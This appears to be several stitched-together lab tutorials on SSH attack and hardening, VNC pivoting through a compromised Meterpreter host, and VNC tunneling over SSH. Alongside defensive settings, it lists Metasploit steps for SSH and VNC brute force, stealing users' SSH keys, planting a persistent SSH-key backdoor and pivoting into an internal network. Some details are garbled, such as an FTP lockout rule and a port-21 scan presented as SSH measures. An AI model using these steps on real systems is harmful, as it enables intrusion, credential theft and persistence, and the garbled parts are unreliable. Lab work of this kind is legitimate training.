SSH Penetration Testing (Port 22)

Probing through every open port is practically the first step hackers take in order to prepare their attack. And in order to work one is required keep their port open but at the same time they are threatened by the fear of hackers. Therefore, one must learn to secure their ports even if they are open.
Requirement
Attacker: kali Linux
Target: ubuntu system (install ssh and putty-tools)
Client: Window systems (install putty and putty genrator)

In this article we will secure SSH port so that even if it’s open no one will be able to exploit it. First of all let’s install SSH server using following command:
sudo apt-get install openssh-server
sudo apt-get install putty-tools


service ssh start
To confirm the working of SSH, use the following command:

service ssh status

Configure this port using PUTTY. For configuration in putty, give the IP address in host name along with port number and then select SSH and then finally click on Open.


Upon opening, it will ask for password, give the said password and press enter.

As the service of SSH is started, scan it in your kali using nmap:
nmap -sV 192.168.1.17
Scanning will show that on port 22 is open with the service of SSH.

auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set rhosts 192.168.1.17
msf auxiliary(ssh_version) > set rport 22
msf auxiliary(ssh_version) > exploit
From given below image you can confirm that it has grab SSH banner.

An attacker always perform enumeration for finding important information such as software version which known as Banner Grabbing and then identify it state of vulnerability against any exploit.


As we had discussed above how a banner grabbing can expose loopholes of any software or service running on remote system therefore after installing any service always hide their software versions.
Admin should make following changes in their configuration file to prevent banner information.

·         Open sshd_config file
·         Add a new line “DebianBanner no” as shown in given image.

 Save the whole text file after modification as shown in given image. Now it will not disclose banner information and restart the service using following command.

service SSH start


nmap -p 21 -sV 192.168.1.17

Wonderful!! We are successful in hiding banner which you can confirm from given image.


This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/ssh/ssh_login
 msf auxiliary(ssh_login) >set rhost 192.168.1.17
msf auxiliary(ssh_login) >set rport 22
msf auxiliary(ssh_login) > set userpass_file /root/Desktop/ssh.txt
msf auxiliary(ssh_login) >exploit

Great!! We had not only successfully found valid SSH credential raj: 123 but also got victim command shell session 1 as unauthorized access in target system.


From given below image you can see we have check the victims network interface by executing ifconfig command through session 1.
Now I had executed following command which converted command shell session in to meterpreter session.
sessions -u 1
sessions
Hence you can see here I have owned two sessions 1st for command shell and 2nd for meterpreter.


This way we have applied our first measure of security. Now for our second measure of security download and install PUTTY Key Generator. Open it and click on Generate button on low right side.


This will generate a public and private key. Out of these save the private key.


The private key will be saved as shown in following image. You can rename it at convenience as I have named it ssh login key.

Now open terminal of your server and type:
ssh-keygen

The above command will create a folder named .ssh and then create an empty text file with the name authorized_keys in the same folder.


Copy the “ssh login key.ppk” file which are created previously into the .ssh folder.


In the terminal, move into .ssh folder and type the following command:
puttygen –L “ssh login key.ppk”
This command will generate a key. Copy this key in the empty file which we created earlier with the authorized_keys.
Then in putty configuration tab, go to data and give Auto-login username




But this doesn’t mean it can’t be open using password. And still we are vulnerable to hackers.
If you have already exploited target and have its meterpreter session as exploit above then you can use following post exploit for stealing authorized keys.
This module will collect the contents of all users' .ssh directories on the targeted machine. Additionally, known_hosts and authorized_keys and any other files are also downloaded. This module is largely based on firefox_creds.rb.
use post/multi/gather/ssh_creds
msf post(ssh_creds) >set session 1
msf post(ssh_creds) >exploit

From given below image you can see we have got all authorized keys store in /.ssh directory now use those keys for login into SSH server.


Create permanent backdoor 

This module will add an SSH key to a specified user (or all), to allow remote login via SSH at any time
Use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set session 1
msf post(sshkey_persistence) >exploit

Now whenever host will alive attacker can connect to his system without exploiting again and again due to this permanent backdoor. 


Secure Against SSH PGP key Auto login
Therefore we are going to apply third measure of security i.e. to disable password completely. For this, go to computer>etc>sshd_config.

And now that we have successfully applied three measures of security our port is safe from anyone and everyone. To this port the hacker will require physical access to you hardware which is impossible. And if you want to access SSH from another machine then just configure the same key in that PC too and it have access to it.
A threshold account lockout policy in windows which locked an account after certain numbers of attempt that can be possible in UNIX also through Iptables chain rule.
Here admin can set iptable chain rules for certain number of login attempts and if user crossed the define number then account will get locked for some time period as specified by admin.
Type the given below command to set iptable chain rule for account lockout policy:
iptables -I INPUT -p tcp –dport 22 -i eth0 -m state –state NEW -m recent –set
iptables -I INPUT -p tcp –dport 22 -i eth0 -m state –state NEW -m recent  –update –seconds 120 –hitcount 3 -j DROP
Now this above rule will allow only 3 chances for login into FTP server otherwise locked the account for 120 seconds (2 minutes).
service vsftpd restart
Let’s ensure iptable chain rule working by making brute force attack as above.
Great!! It has prevented by stopping brute force after 3 attempts but will get activated after 2 minute therefore admin should locked the account for long period of time.
Secure SSH through port forward
Now that SSH has been configured. We can use our first measure of security i.e. port forwarding. In computer>etc>ssh you will find a file with the name of “sshd_config”.

Open this file and wherever it says port 22, change it to port 2222.
This way we have forwarded SSH service from port 22 to port 2222. Let’s check it on nmap to confirm.
nmap -sV 192.168.1.17

VNC Pivoting through Meterpreter

In privous article we had describe VNC peneration testing and VNC tunneling through SSH but today we are going to demonstrate VNC pivoting.

From Offensive Security
Pivoting is technique to get inside an unreachable network with help of pivot (centre point). In simple words it is an attack through which attacker can exploit those system which belongs to different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then attacker will able to target the client system for attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine:  ubuntu operating system with two network interface

Target Machine: ubuntu (Allow VNC service)


Exploit pivot machine
Generate payload using msfvenom start multi/handler to hack the pivot machine (ubuntu) read complete article from here and bypass its UAC to achieve admin privileges.
sessions
 From given image you can confirm that I owned pivot machine (192.168.1.226) meterpreter session.

Verify network interface of pivot

Check network interface through following command:
Meterpreter> ifconfig
From given image you can observe two networks interface in pivot’s system 1st for IP 192.168.1.226 through which attacker is connected and 2nd for IP 10.0.0.1 through which VNC server (targets) are connected.


Use autoroute post exploit

Since attacker belongs to 192.168.1.1 interface and client belongs to 10.0.0.0interface therefore it is not possible to directly make attack on client network until unless the attacker acquires same network connection. In order to achieve 10.0.0.0 network attacker need run the post exploitation “autoroute”.
use post/multi/manage/autoroute 
msf post(autoroute) > set session 3
msf post(autoroute) > exploit


Use ARP Sweep to identify Active host
This module will enumerate alive Hosts in local network using ARP requests. Take help from target network interface 3 as shown above for MAC address and other details.

Use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) >set rhost 10.0.0.1-254
msf auxiliary(arp_sweep) >set shost
msf auxiliary(arp_sweep) >set smac 00:0c:29:bf:43:94
msf auxiliary(arp_sweep) >run

Here we found a new host IP 10.0.0.20 as shown in given image. Let’s perform TCP port scan for activated services on this machine.


Use TCP Port Scan post exploit

This module will enumerate open TCP port of target system.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 10.0.0.20
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
From given you can observe port 5900 is open and we know that 5900 used for VNC services.

VNC brute force attack

In order to steal password for making unauthorized access in VNC machine apply Brute force attack using password dictionary in given below exploit.
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 10.0.0.20
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
Awesome!! From given below image you can observe the same password: 123456 have been found by metasploit.

VNC Port forwarding on Local port
Now Type following command for port forwarding on localhost.
 Meterpreter> portfwd add –l  6000 –p 5900 –r 10.0.0.20
-l: This is a local port to listen on.
-p: The remote port to connect on.
-r:  The remote host address to connect on.

Now open the terminal and type following command to connect target machine:
vncviewer 127.0.0.1:6000
Wonderful!! We had successfully exploit VNC client by making unauthorized access.

VNC tunneling over SSH

In previous article we had perform VNC penetration testing and today you will VNC tunneling to connect remote machine with VNC server when they both belongs different network interface.

Basically tunneling is process which allows data sharing or communication between two different networks privately. Tunneling is normally perform through encapsulating the private network data and protocol information inside the public network broadcast units so that the private network protocol information visible to the public network as data. 

Let’s Begin!!

Requiremet:
Server machine(ubuntu):  Two network interface with activted SSH service
Local machine (ubuntu): activated VNC service
Remote machine(window):  with install tight VNC viewer


In following image we are trying to explain VNC tunneling process where a remote PC of IP 192.168.1.225 is trying to connect to 10.0.0.20 which is on INTRANET of another network. To establish connection with local machine, remote PC will create VNC tunnel which will connect with the local system via SSH server machine.



Given image below is describing the network configuration for server machine (SSH) where it is showing two IP 192.168.1.226 and another 10.0.0.10 as explain above.


Another image given below is describing network configuration for local machine which is showing IP 10.0.0.20


Checking activated VNC service using following command:
 netstat -tlp
Hence from given image you can see the highlighted text is showing 5900 is enabled in local machine.


Open the terminal and type using following command to connecting to VNC machine (IP: 10.0.0.20) through server machine (IP: 10.0.0.10).
vncviewer 10.0.0.20


Great!! Local machine successfully connected


Similarly Using tight vnc viewer remote machine (192.168.1.225) now trying to connect local machine (IP: 10.0.0.10) as shown in given image

Since they belong to different network therefore he receives network error.


Follow given below step to connect remote machine to local machine via ssh server.
·         Open tightVNC connection and enter the local machine IP: 10.0.0.20 with port 5900.
·         Enable SSH tunneling
·         Now enter ssh server IP: 192.168.1.226 with port 22 and ssh server username: ubutnu.
Congrats!!! Remote machine had successfully connected with local machine through VNC.